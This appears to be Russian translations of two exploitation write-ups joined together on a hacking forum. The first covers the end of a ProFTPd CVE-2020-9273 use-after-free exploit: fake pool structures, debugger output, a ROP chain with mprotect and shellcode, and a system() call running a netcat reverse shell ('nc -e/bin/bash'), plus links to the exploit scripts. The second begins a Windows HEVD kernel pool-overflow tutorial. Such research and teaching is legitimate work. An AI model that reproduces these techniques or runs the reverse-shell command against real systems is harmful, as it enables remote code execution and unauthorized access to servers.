void (*plain_cleanup_cb)(void *);
void (*child_cleanup_cb)(void *);
struct cleanup *next;
} cleanup_t;
Мы можем управлять RIP с помощью c->plain_cleanup_cb и RDI с помощью c->data
К сожалению, разрушить cmd->tmp_pool сложно, так как строка displayable-str добавляется сразу после наших контролируемых данных, а сразу после нашей записи p->cleanup есть некоторые записи, к которым осуществляется доступ в destroy_pool() до достижения run_cleanups().
@DUKPT_, который также работает над PoC для этой уязвимости, перезаписывал gid_tab->pool. Это более надежный метод, поскольку после наших контролируемых данных нет указателей, поэтому, когда добавляется displayable-str, ничего серьезного не будет нарушено, а также здесь, вместо того, чтобы повредить структуру pool_rec, мы повреждаем структуру pr_table_t, поэтому мы может указать gid_tab->pool на память, поврежденную из канала данных, который также принимает NULL, и мы можем создать поддельную структуру pool_rec с произвольным значением p->cleanup в поддельную структуру cleanup_t, которая, наконец, будет передана в run_cleanups().
Интересное использование gid_tab также в том, что gid_tab->pool передается в destroy_pool() в pr_table_free() с аргументом gid_tab:
C:Copy to clipboard
int pr_table_free(pr_table_t *tab) {
if (tab == NULL) {
errno = EINVAL;
return -1;
}
if (tab->nents != 0) {
errno = EPERM;
return -1;
}
destroy_pool(tab->pool);
return 0;
}
Вот как выглядит pr_table_t:
C:Copy to clipboard
struct table_rec {
pool *pool;
unsigned long flags;
unsigned int seed;
unsigned int nmaxents;
pr_table_entry_t **chains;
unsigned int nchains;
unsigned int nents;
pr_table_entry_t *free_ents;
pr_table_key_t *free_keys;
pr_table_entry_t *tab_iter_ent;
pr_table_entry_t *val_iter_ent;
pr_table_entry_t *cache_ent;
int (*keycmp)(const void *, size_t, const void *, size_t);
unsigned int (*keyhash)(const void *, size_t);
void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};
...
typedef struct table_rec pr_table_t;
Как вы можете видеть после tab->pool (tab->flags, tab->seed и tab->nmaxents) нет указателей, поэтому добавленная строка не вызовет сбоев
Итак, каков план?
Создайте поддельную структуру block_hdr, на которую будет указывать p-> last
Введите в fake_blok->h.first_avail указатель на gid_tab за вычетом некоторого смещения, где смещение зависит от количества выделений и их размера, поэтому, когда pstrdup() копирует нашу произвольную команду, значение fake_blok->h.first_avail точно равно адрес gid_tab, чтобы соответствовать нашему адресу
Введите в p->sub_next адрес tab->chains , чтобы при вызове pr_table_kget() возвращалось NULL, чтобы назначить нашу произвольную команду.
Отправьте пользовательскую команду с поддельной pr_table_t, на самом деле, нужен только tab->pool, и укажите fake_tab->pool на поддельную структуру pool_rec
Создайте поддельную структуру pool_rec, укажите fake_pool->parent, fake_pool->sub_next и fake_pool->sub_prev на любой доступный для записи адрес, а fake_pool->cleanup в поддельную структуру cleanup_t, содержащую наши произвольные значения RIP и RDI.
Это результат использования техники угона:
Code:Copy to clipboard
*0x4242424242424242 (
$rdi = 0x4141414141414141,
$rsi = 0x0000000000000000,
$rdx = 0x4242424242424242,
$rcx = 0x0000555555579c00 → <entry_remove+0> endbr64
)
Как видите, c->plain_cleanup_cb имеет значение 0 x 4242424242424242, а c-> data имеет значение 0x4141414141414141.
Это означает, что RIP и RDI полностью контролируются.
Получение RCE
Как объяснялось, наша основная цель - достичь функции run_cleanups() с произвольным адресом или с непроизвольным адресом, но контролировать ее содержимое. Это позволяет нам получить полный контроль RIP и RDI, что с учетом того, что у нас уже есть предсказуемые адреса для каждого сегмента, означает, что удаленное выполнение кода, вероятно, возможно.
Некоторые способы получить удаленное выполнение кода:
Разворот стека, выполнение ROP и шелл-кода
Поскольку мы контролируем как RIP, так и RDI, мы могли бы искать полезные гаджеты, которые позволили бы нам перенаправлять поток управления с помощью ROPchain в обход NX.
При достижении run_cleanups()…
Code:Copy to clipboard
gef➤ p *c
$7 = {
data = 0x563593915280,
plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
child_cleanup_cb = 0x4141414141414141,
next = 0x4242424242424242
}
gef➤ x/2i c->plain_cleanup_cb
0x7f875ab201a1 <authnone_marshal+17>: push rdi
0x7f875ab201a2 <authnone_marshal+18>: pop rsp
gef➤
При входе в гаджет разворота стека:
Code:Copy to clipboard
→ 0x7f875ab201a1 <authnone_marshal+17> push rdi
0x7f875ab201a2 <authnone_marshal+18> pop rsp
0x7f875ab201a3 <authnone_marshal+19> lea rsi, [rdi+0x48]
0x7f875ab201a7 <authnone_marshal+23> mov rdi, r8
0x7f875ab201aa <authnone_marshal+26> mov rax, QWORD PTR [rax+0x18]
0x7f875ab201ae <authnone_marshal+30> jmp rax
Ранее мы создали нашу структуру resp_pool, чтобы указать rax на адрес, где хранится адрес, указывающий рядом с инструкцией ret. Так когда:
mov rax, QWORD PTR [rax+0x18]
выполняется, получаем в rax адрес, который будет использоваться только при следующей инструкции: jmp rax.
Поскольку он находится рядом с инструкцией ret, мы, наконец, выполним нашу ROPchain, поскольку мы указали rsp прямо перед нашей ROPchain, и инструкция ret только что была выполнена.
Code:Copy to clipboard
gef➤ p $rax
$5 = 0x563593915358
gef➤ x/gx $rax + 0x18
0x563593915370: 0x00007f875a9fc679
gef➤ x/i 0x00007f875a9fc679
0x7f875a9fc679 <__libgcc_s_init+61>: ret
На момент jmp rax:
Code:Copy to clipboard
0x7f875ab201a3 <authnone_marshal+19> lea rsi, [rdi+0x48]
0x7f875ab201a7 <authnone_marshal+23> mov rdi, r8
0x7f875ab201aa <authnone_marshal+26> mov rax, QWORD PTR [rax+0x18]
→ 0x7f875ab201ae <authnone_marshal+30> jmp rax
0x7f875ab201b0 <authnone_marshal+32> xor eax, eax
0x7f875ab201b2 <authnone_marshal+34> ret
--------------------------------------------------------------
gef➤ p $rax
$6 = 0x7f875a9fc679
gef➤ x/i $rax
0x7f875a9fc679 <__libgcc_s_init+61>: ret
И мы видим, что стек был успешно развернут:
Code:Copy to clipboard
gef➤ p $rsp
$7 = (void *) 0x563593915358
gef➤ x/gx 0x563593915358
0x563593915358: 0x00007f875aa21550
gef➤ x/i 0x00007f875aa21550
0x7f875aa21550 <mblen+112>: pop rax
ROPchain установит системный вызов SYS_mprotect, который изменит защиту памяти для диапазона кучи на RXW. Затем мы перейдем к шеллкоду и, наконец, достигнем удаленного выполнения кода.
Если мы проверим сопоставления с помощью gdb, мы увидим, что часть кучи теперь является RWX, где на самом деле находится шелл-код:
0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]
Теперь мы переходим к шеллкоду, так как он теперь находится в исполняемой памяти, поэтому удаленное выполнение кода выполнено успешно:
**0x7f875aa3d229 <funlockfile+73> syscall **
→ 0x7f875aa3d22b <funlockfile+75> ret
↳ 0x563593915310 push 0x29
0x563593915312 pop rax
0x563593915313 push 0x2
0x563593915315 pop rdi
0x563593915316 push 0x1
0x563593915318 pop rsiClick to expand...
Объединяя все это вместе в эксплойт, вот скриншот успешной эксплуатации этой уязвимости с использованием подхода ROP:
ret2libc or ret2X
Вы можете перейти к любой функции и управлять одним аргументом, это означает, что вы можете вызвать любую функцию с произвольным аргументом. Вы также можете повторно использовать значения регистров для других аргументов, но вы полагаетесь на то, что текущие регистры будут действительными для целевой функции, например: недопустимый указатель вызовет сбой.
Подход, которого я придерживался с этим методом, заключается в вызове system() и указании RDI на настраиваемую командную строку (обратная оболочка netcat), которую я оставляю в куче с предсказуемым адресом.
Сначала мы достигаем destroy_pool() с поддельной структурой pool_rec, фактически мы повторно используем записи из нашей изначально контролируемой структуры:
gef➤ p *p
$1 = {
first = 0x563f5c9c6280,
last = 0x7361626174614472,
cleanups = 0x563f5c9a62d0,
sub_pools = 0x563f5c9a6298,
sub_next = 0x563f5c9a62a0,
sub_prev = 0x563f5c9a0a90,
parent = 0x563f5c94a738,
free_first_avail = 0x563f5c94a7e0 "\260\251\224\?V",
tag = 0x563f5c9a526e ""
}
gef➤ p *resp_pool
$2 = {
first = 0x563f5c9a62d0,
last = 0x563f5c9a6298,
cleanups = 0x563f5c9a62a0,
sub_pools = 0x563f5c9a0a90,
sub_next = 0x563f5c94a738,
sub_prev = 0x563f5c94a7e0,
parent = 0x563f5c9a526e,
free_first_avail = 0x563f5c9a526e "",
tag = 0x563f5c9a526e ""
}Click to expand...
Затем destroy_pool() будет вызывать clear_pool(), который, наконец, вызывает run_cleanups() с нашей фальшивой структурой cleanup_t, на которую указывает p->cleanups:
gef➤ p *c
$3 = {
data = 0x563f5c9a62f0,
plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
child_cleanup_cb = 0x4141414141414141,
next = 0x4242424242424242
}
gef➤ x/s c->data
0x563f5c9a62f0: "nc -e/bin/bash 127.0.0.1 4444"Click to expand...
Как мы видим, c->plain_cleanup_cb (будущий RIP) указывает на __libc_system (), а c->data указывает на нашу командную строку, хранящуюся в куче.
Результатом, если мы продолжим, будет выполнение нового процесса как части выполнения команды: процесс 35209 выполняет новую программу: / usr/bin/ncat
И, наконец, получение реверс шелла в качестве пользователя, с которым вы вошли на FTP-сервер.
RCE Video Demo также доступен на GitHub (в том же каталоге, где находится эксплойт)
Patch
Здесь вы можете найти проблему GitHub и исправления для этой уязвимости.
Заключение
В этом посте мы проанализировали и продемонстрировали использование Use-After- Free в ProFTPd и смогли получить полное удаленное выполнение кода даже при включенных всех защитах (ASLR, PIE, NX, RELRO, STACKGUARD и т.д.)
Возможно, необходима аутентификация, иногда такая ситуация возникает у злоумышленника, но он не может продолжить работу без подобного эксплойта RCE.
Вы можете найти эксплойт ROP-подхода здесь (<https://github.com/lockedbyte/CVE- Exploits/blob/master/CVE-2020-9273/exploit_rop.py>).
Вы можете найти другой эксплойт, который использует system() и netcat здесь (<https://github.com/lockedbyte/CVE- Exploits/blob/master/CVE-2020-9273/exploit.py>).
EoF
Надеемся, вам понравилась эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/proftpd-cve-2020-9273-exploit/
Введение
Эта статья является второй частью серии из двух статей о повреждении пула в
эпоху кучи сегментов в Windows. Часть 1, которую можно найти
здесь,
начинает эту серию с использования уязвимости out-of-bounds для обхода kASLR
из-за низкой целостности. Связывая эту уязвимость утечки информации с ошибкой,
описанной в этом посте, которая представляет собой переполнение пула, ведущее
к произвольному примитиву чтения/записи, мы завершим эту серию, указав, почему
повреждение пула в эру кучи сегментов стало менее разрушительным, со времен
Windows 7.
В связи с [недавним выпуском Windows 11](https://www.microsoft.com/en- us/windows/windows-11), в которой по умолчанию будет включена безопасность на основе виртуализации (VBS) и целостность защищенного кода гипервизора (HVCI), мы отдадим должное методам повреждения записей в таблице страниц для обхода SMEP и DEP в ядре с помощью эксплойта, который будет описан в этом сообщении. Хотя Windows 11 не будет использоваться компаниями в течение некоторого времени, как в случае с развертыванием новых технологий на любом предприятии, исследователям уязвимостей необходимо будет начать отходить от использования искусственно созданных областей исполняемой памяти в ядре для выполнения кода, в пользу атак в стиле data-only или исследовать новые методы обхода VBS и HVCI. Это направление, в котором я надеюсь начать свои исследования в будущем. Скорее всего, это будет последний мой пост, в котором используется повреждение записей в таблице страниц.
Хотя есть гораздо лучшие объяснения внутреннего устройства пула в Windows, такие как [эта статья](https://www.sstic.org/media/SSTIC2020/SSTIC- actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article- pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf) и предстоящий доклад моего коллеги Ярдена Шафира по BlackHat 2021 USA, который можно найти [здесь](https://www.blackhat.com/us-21/briefings/schedule/#windows-heap- backed-pool-the-good-the-bad-and-the-encoded-234821624997360), часть 1 этой серии блогов будет содержать большую часть необходимых знаний, используемых для этого сообщения - так что, хотя есть ресурсы получше, я настоятельно рекомендую вам сначала прочитать часть 1, если вы используете это сообщение в качестве пошагового руководства (что является причиной и объясняет длину моих сообщений)
Анализ Уязвимости
Давайте посмотрим на исходный код BufferOverflowNonPagedPoolNx.c
в ветке
win10-klfh
HEVD, который обнаруживает довольно тривиальную и управляемую
уязвимость переполнения буфера на основе пула.
Первая функция в исходном файле - TriggerBufferOverflowNonPagedPoolNx
. Эта
функция, которая возвращает значение типа NTSTATUS
, имеет прототип для
приема буфера UserBuffer
и размера Size
.
TriggerBufferOverflowNonPagedPoolNx
вызывает API режима ядра
ExAllocatePoolWithTag
для выделения фрагмента из пула NonPagedPoolNx
размером POOL_BUFFER_SIZE
. Откуда такой размер? Взглянув на самое начало
BufferOverflowNonPagedPoolNx.c
, мы ясно увидим, что
BufferOverflowNonPagedPoolNx.h
включен.
Взглянув на этот файл заголовка, мы можем увидеть директиву #define
для
размера, которая определяется директивой процессора, чтобы сделать эту
переменную равной 16 на 64-битной машине Windows, с которой мы проводим
тестирование. Теперь мы знаем, что фрагмент пула, который будет выделен из
вызова ExAllocatePoolWithTag
в TriggerBufferOverfloowNx
, составляет 16
байтов.
Фрагмент пула режима ядра, который теперь выделяется на NonPagedPoolNx
,
управляется возвращаемым значением ExAllocatePoolWithTag
, которым в данном
случае является KernelBuffer
. Посмотрев немного дальше по коду, мы увидим,
что RtlCopyMemory
, которая является оболочкой для вызова memcpy
, копирует
значение UserBuffer
в распределение, управляемое KernelBuffer
. Размер
буфера, копируемого в KernelBuffer
, определяется параметром Size
. После
записи фрагмента на основе кода в BufferOverflowNonPagedPoolNx.c
фрагмент
пула также впоследствии освобождается.
Это в основном означает, что значение, указанное в Size
и UserBuffer
,
будет использоваться в операции копирования для копирования памяти в блок
пула. Мы знаем, что UserBuffer
и Size
встроены в определение функции для
TriggerBufferOverflowNonPagedPoolNx
, но откуда эти значения? Заглянув дальше
в BufferOverflowNonPagedPoolNx.c
, мы можем увидеть, что эти значения
извлекаются из пакета IRP, отправленного этой функции через обработчик IOCTL.
Это означает, что клиент, взаимодействующий с драйвером через
DeviceIoControl
, может управлять содержимым и размером буфера,
скопированного в блок пула, выделенный на NonPagedPoolNx
, который составляет
16 байтов. Уязвимость здесь заключается в том, что мы можем контролировать
размер и содержимое памяти, скопированной в блок пула, что означает, что мы
можем указать значение больше 16, которое будет записывать в память за
пределами выделения, как если бы граничная уязвимость записи, известная в
данном случае как «переполнение пула».
Давайте проверим эту теорию, расширив наш эксплойт из первой части и задействовав уязвимость.
Вызываем уязвимость
Мы воспользуемся предыдущим эксплойтом из Части 1 и доработаем код
переполнения пула до конца, после цикла for
, который выполняет
синтаксический анализ для извлечения базового адреса HEVD.sys
. Этот код
можно увидеть ниже, который отправляет буфер размером 50 байтов в блок пула
размером 16 байтов. IOCTL для достижения функции
TriggerBufferOverflowNonPagedPool
равен 0x0022204b
.
После того, как это распределение выполнено и фрагмент пула впоследствии освобожден, мы можем видеть, что происходит BSOD с проверкой ошибок, указывающей, что заголовок пула был поврежден.
Это результат нашей уязвимости записи за пределами допустимого диапазона,
которая повредила заголовок пула. Когда заголовок пула поврежден и фрагмент
впоследствии освобождается, для фрагмента пула, входящего в область видимости,
выполняется проверка «целостности», чтобы убедиться, что он имеет допустимый
заголовок. Поскольку мы произвольно записали содержимое за блоком пула,
выделенным для нашего буфера, отправленным из пользовательского режима, мы
впоследствии перезаписали другие блоки пула. Из-за этого, а также из-за того,
что каждый фрагмент в kLFH, где находится наше выделение на основе эвристики,
упомянутой в Части 1, с добавлением структуры _POOL_HEADER
, мы впоследствии
повредили заголовок каждого последующего фрагмента. Мы можем подтвердить это,
установив точку останова при вызове ExAllocatePoolWithTag
и включив
отладочную печать, чтобы увидеть структуру пула до того, как произойдет
освобождение.
Точка останова, установленная на адресе fffff80d397561de
, который является
первой точкой останова, установленной на приведенной выше фотографии, является
точкой останова при фактическом вызове ExAllocatePoolWithTag
. Точка
останова, установленная по адресу fffff80d39756336
, - это инструкция,
которая идет непосредственно перед вызовом ExFreePoolWithTag
. Эта точка
останова находится в нижней части фотографии выше с помощью точки останова 3.
Это необходимо для обеспечения приостановки выполнения перед освобождением
блока.
Затем мы можем проверить уязвимый фрагмент, ответственный за переполнение,
чтобы определить, соответствует ли тег _POOL_HEADER
фрагменту, что он и
делает.
После возобновления выполнения снова выполняется проверка ошибок. Это связано с освобождением блока пула с недопустимым заголовком.
Это подтверждает, что запись за пределами допустимого диапазона действительно существует. Теперь, имея в распоряжении обходной путь kASLR, возникает вопрос
Стратегия эксплуатации
Справедливое предупреждение - в этом разделе содержится много анализа кода,
чтобы понять, что делает этот драйвер для очистки пула, поэтому имейте это в
виду.
Как вы можете вспомнить из Части 1, ключ к эксплуатации пула в эпоху сегментной кучи лежит в поиске объектов, особенно при использовании kLFH, которые имеют тот же размер, что и уязвимый объект, содержат интересный член в объекте, могут быть вызваны из пользовательского режима и размещаются в пуле того же типа, что и уязвимый объект. Напомним, что ранее размер уязвимого объекта составлял 16 байт. Теперь цель состоит в том, чтобы посмотреть на исходный код драйвера, чтобы определить, нет ли полезного объекта, который мы можем выделить, который бы удовлетворял всем указанным выше параметрам. Обратите внимание, что самая сложная часть эксплуатации пула - это поиск стоящих объектов.
К счастью, есть два файла с названиями
ArbitraryReadWriteHelperNonPagedPoolNx.c
и
ArbitraryReadWriteHelperNonPagedPoolNx.h
, которые нам пригодятся. Судя по
названию, эти файлы, похоже, выделяют какой-то объект на NonPagedPoolNx
.
Опять же, обратите внимание, что на этом этапе в реальном мире нам нужно будет
реконструировать драйвер и просмотреть все экземпляры распределения пула,
проверить их аргументы во время выполнения и посмотреть, нет ли способа
получить полезные объекты на том же самом пуле и kLFH bucket как уязвимый
объект для выполнения pool grooming.
ArbitraryReadWriteHelperNonPagedPoolNx.h
содержит две интересные структуры,
показанные ниже, а также несколько определений функций (которые мы коснемся
позже - убедитесь, что вы ознакомились с этими структурами и их членами!).
Как мы видим, каждое определение функции определяет параметр типа
PARW_HELPER_OBJECT_IO
, который является указателем на объект
ARW_HELP_OBJECT_IO
, определенный на изображении выше!
Давайте исследуем ArbitraryReadWriteHelpeNonPagedPoolNx.c
, чтобы определить,
как эти объекты ARW_HELPER_OBJECT_IO
создаются и используются в определенных
функциях на изображении выше.
Глядя на ArbitraryReadWriteHelperNonPagedPoolNx.c
, мы видим, что он содержит
несколько обработчиков IOCTL. Это указывает на то, что эти объекты
ARW_HELPER_OBJECT_IO
будут отправлены клиентом (нами). Давайте посмотрим на
первый обработчик IOCTL.
Похоже, что объекты ARW_HELPER_OBJECT_IO
создаются с помощью обработчика
IOCTL CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler
. Этот
обработчик принимает буфер, приводит его к типу ARW_HELP_OBJECT_IO
и
передает буфер функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
.
Давайте проверим CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
сначала объявляет
несколько вещей:
Name
SIZE_T
- Length, длинаNTSTATUS
, для которой установлено значение STATUS_SUCCESS
для обработки ошибок.Функция, после объявления указателя на ранее упомянутый
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, проверяет входной буфер от клиента,
проанализированный обработчиком IOCTL, чтобы убедиться, что он находится в
пользовательском режиме, а затем сохраняет длину, указанную элементом Length
структуры ARW_HELPER_OBJECT_IO
, в ранее объявленном переменная длина. Эта
структура ARW_HELPER_OBJECT_IO
берется из клиента пользовательского режима,
взаимодействующего с драйвером (нами), то есть она предоставляется из вызова
DeviceIoControl
.
Затем вызывается функция GetFreeIndex
, и результат операции сохраняется в
ранее объявленной переменной FreeIndex
. Если возвращаемое значение этой
функции равно STATUS_INVALID_INDEX
, функция возвращает статус вызывающей
стороне. Если значение не STATUS_INVALID_INDEX
,
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
затем вызывает
ExAllocatePoolWithTag
, чтобы выделить память для ранее объявленного
указателя PARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, который называется
ARWHelperOb
. Этот объект размещается на NonPagedPoolNx
, как показано ниже.
После выделения памяти для ARWHelperObject
функция
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
затем выделяет другой
фрагмент из NonPagedPoolNx
и выделяет эту память для ранее объявленного
указателя Name
.
Затем эта вновь выделенная память инициализируется нулем. Ранее объявленный
указатель ARWHelperObject
, который является указателем на
ARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
, затем имеет свой член Name
,
установленный на ранее объявленное имя указателя, память которого была
выделена в предыдущей операции ExAllocatePoolWithTag
, а его член Length
установлен на локальную переменную Length
, который получил длину,
отправленную клиентом пользовательского режима в операции IOCTL
, через
входной буфер типа ARW_HELPER_OBJECT_IO
, как показано ниже. По сути, это
просто инициализирует значения структуры.
Затем массив с именем g_ARWHelperOjbectNonPagedPoolNx
по индексу, указанному
FreeIndex
, инициализируется адресом ARWHelperObject
. Этот массив
фактически является массивом указателей на объекты
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
и управляет такими объектами. Это
определяется в начале ArbitraryReadWriteHelperNonPagedPoolNx.c
, как показано
ниже.
Прежде чем двигаться дальше - я понимаю, что это большой анализ кода, но позже я добавлю диаграммы и tl;dr, чтобы помочь разобраться во всем этом. А пока давайте продолжим копаться в коде
Вспомним, как создавался прототип функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
:
C:Copy to clipboard
NTSTATUS
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(
_In_ PARW_HELPER_OBJECT_IO HelperObjectIo
);
Этот объект HelperObjectIo
имеет тип PARW_HELPER_OBJECT_IO
, который
предоставляется клиентом пользовательского режима (нами). Эта структура,
которая предоставляется нами через DeviceIoControl
, имеет член
HelperObjectAddress
, установленный на адрес ARWHelperObject
, ранее
выделенный в CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
. По сути,
это означает, что наша структура пользовательского режима, которая
отправляется в режим ядра, имеет один из своих членов, а точнее
HelperObjectAddress
, установленный на адрес другого объекта режима ядра. Это
означает, что он будет возвращен обратно в пользовательский режим. Это конец
функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
! Давайте обновим
наш код, чтобы увидеть, как это выглядит динамически. Мы также можем
установить точку останова на
HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
в WinDbg. Обратите
внимание, что IOCTL для запуска
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
равен 0x00222063
Теперь мы знаем, что эта функция выделит фрагмент пула для указателя
ARWHelperObject
, который является указателем на
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Давайте установим точку останова для
вызова ExAllocatePoolWIthTag
, отвечающего за это, и включим отладочную
печать.
Также обратите внимание, что длина имени отладочной печати равна нулю. Это
значение было предоставлено нами из пользовательского режима, и, поскольку мы
установили буфер в ноль, поэтому длина равна нулю. FreeIndex
также равен
нулю. Мы коснемся этого значения позже. После выполнения операции выделения
памяти и проверки возвращаемого значения мы можем увидеть знакомый тег пула
Hack
, который составляет 0x10
байтов (16 байтов) + 0x10
байтов для
структуры _POOL_HEADER_
, что в сумме составляет 0x20
байтов. Адрес этого
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
- 0xffff838b6e6d71b0
Затем мы знаем, что произойдет еще один вызов ExAllocatePoolWithTag
, который
выделит память для члена Name
класса ARWHelperObject->Name
, где
ARWHelperObject
имеет тип PARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Давайте
установим точку останова для этой операции выделения памяти и проверим ее
содержимое.
Мы видим, что этот фрагмент выделен в том же пуле и сегменте kLFH, что и
предыдущий указатель ARWHelperObject
. Адрес этого фрагмента, который равен
0xffff838b6e6d73d0
, в конечном итоге будет установлен как член Name
ARWHelperObject
, а член Length
ARWHelperObject
будет установлен на член
Length
исходного буфера ввода пользовательского режима, который поступает из
структуры ARW_HELPER_OBJECT_IO
.
Отсюда мы можем нажать g
в WinDbg, чтобы возобновить выполнение.
Мы можем ясно видеть, что адрес режима ядра указателя ARWHelperObject
возвращается в пользовательский режим через HelperObjectAddress
объекта
ARW_HELPER_OBJECT_IO
, указанного в параметрах входного и выходного буфера
вызова DeviceIoControl
.
Давайте выполним все еще раз и запишем результат.
Заметили что-нибудь? Каждый раз, когда мы вызываем
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
, на основе анализа выше
всегда создается PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
. Мы знаем, что
существует также созданный массив этих объектов, и созданный объект для
каждого заданного вызова функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
назначается массиву с
индексом FreeIndex
. После повторного запуска обновленного кода мы видим, что
при повторном вызове функции и, следовательно, создании другого объекта,
значение FreeIndex
было увеличено на единицу. Повторно выполнив все еще раз
во второй раз, мы снова увидим, что это так!
Мы знаем, что эта переменная FreeIndex
устанавливается с помощью вызова
функции GetFreeIndex
, как показано ниже.
C:Copy to clipboard
Length = HelperObjectIo->Length;
DbgPrint("[+] Name Length: 0x%X\n", Length);
//
// Get a free index
//
FreeIndex = GetFreeIndex();
if (FreeIndex == STATUS_INVALID_INDEX)
{
//
// Failed to get a free index
//
Status = STATUS_INVALID_INDEX;
DbgPrint("[-] Unable to find FreeIndex: 0x%X\n", Status);
return Status;
}
Давайте посмотрим, как эта функция определяется и выполняется. Заглянув в
ArbitraryReadWriteHelperNonPagedPoolNx.c
, мы увидим, что функция определена
как таковая.
Эта функция, которая возвращает целочисленное значение, выполняет цикл for на
основе MAX_OBJECT_COUNT
, чтобы определить, имеет ли массив
g_ARWHelperObjectNonPagedPoolNx
, который является массивом указателей на
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
s значение, назначенное для данного
индекса, который начинается с 0. Например, Цикл for
сначала проверяет,
присвоено ли значение 0-му элементу в массиве
g_ARWHelperObjectNonPagedPoolNx
. Если он назначен, индекс в массиве
увеличивается на единицу. Это продолжается до тех пор, пока цикл for
больше
не сможет найти значение, присвоенное данному индексу. В этом случае текущее
значение, используемое в качестве счетчика, присваивается значению
FreeIndex
. Это значение затем передается в операцию присваивания,
используемую для присвоения ARWHelperObject
в области видимости массиву,
управляющему всеми такими объектами. Этот цикл повторяется MAX_OBJECT_COUNT
раз, что определено в ArbitraryReadWriteHelperNonPagedPoolNx.h
как #define MAX_OBJECT_COUNT 65535
. Это общее количество объектов, которыми может
управлять массив g_ARWHelperObjectNonPagedPoolNx
Tl;dr того, что здесь происходит, находится в функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
:
PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
с именем ARWHelperObject
Name
ARWHelperObject
буфер на NonPagedPoolNx
, который имеет значение 0Length
объекта ARWHelperObject
значение, указанное в буфере ввода, предоставляемом пользователем, через DeviceIoControl
.PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
ARWHelpeObject
в пользовательский режим через выходной буфер DeviceIoControl
Вот схема этого в действии.
Давайте посмотрим на следующий обработчик IOCTL после
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
, который является
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler
. Этот
обработчик IOCTL примет пользовательский буфер, предоставленный
DeviceIoControl
, который, как ожидается, будет иметь тип
ARW_HELPER_OBJECT_IO
. Эта структура затем передается в функцию
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
, которая прототипируется
как таковая:
Code:Copy to clipboard
NTSTATUS
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(
_In_ PARW_HELPER_OBJECT_IO HelperObjectIo
)
Давайте посмотрим, что эта функция будет делать с нашим входным буфером.
Вспомните, как в прошлый раз мы могли указать длину, которая использовалась в
операции над размером члена Name
объекта
ARWHELPER_OBJECT_NON_PAGED_POOL_NX
ARWHelperObject. Кроме того, мы смогли
вернуть адрес этого указателя в пользовательский режим.
Эта функция начинается с определения нескольких переменных:
Name
HelperObjectAddress
Index
, которому присваивается статус STATUS_INVALID_INDEX
NTSTATUS
После объявления этих значений эта функция сначала проверяет, находится ли
входной буфер из пользовательского режима, указатель ARW_HELPER_OBJECT_IO
, в
пользовательском режиме. После подтверждения этого член Name
, который
является указателем, из этого буфера пользовательского режима сохраняется в
указателе Name
, ранее объявленном в списке объявленных переменных. Член
HelperObjectAddress
из буфера пользовательского режима, который после вызова
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
, содержит адрес режима
ядра PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
ARWHelperObject
, который
извлекается и сохраняется в объекте объявленной функции HelperOb
в начале
объявленной функции HelperOb
.
Выполняется вызов GetIndexFromPointer
с адресом HelperObjectAddress
в
качестве аргумента в этом вызове. Если возвращаемое значение -
STATUS_INVALID_INDEX
, вызывающей стороне возвращается код NTSTATUS
STATUS_INVALID_INDEX
. Если функция возвращает что-либо еще, значение индекса
выводится на экран.
Откуда взялось это значение? GetIndexFromPointer
определяется как таковой.
Эта функция принимает значение любого указателя, но на практике это
используется для указателя на объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
.
Эта функция принимает предоставленный указатель и индексирует массив
указателей ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
,
g_ARWHelperObjectNonPagedPoolNx
. Если значение не было присвоено массиву
(например, если CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
не был
вызван, так как это присвоит массиву любой созданный
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
или объект был освобожден), возвращается
STATUS_INVALID_INDEX
. Эта функция в основном гарантирует, что объект
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
в области видимости управляется
массивом. Если он существует, эта функция возвращает индекс массива, в котором
находится данный объект.
Давайте посмотрим на следующий фрагмент кода из функции
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
.
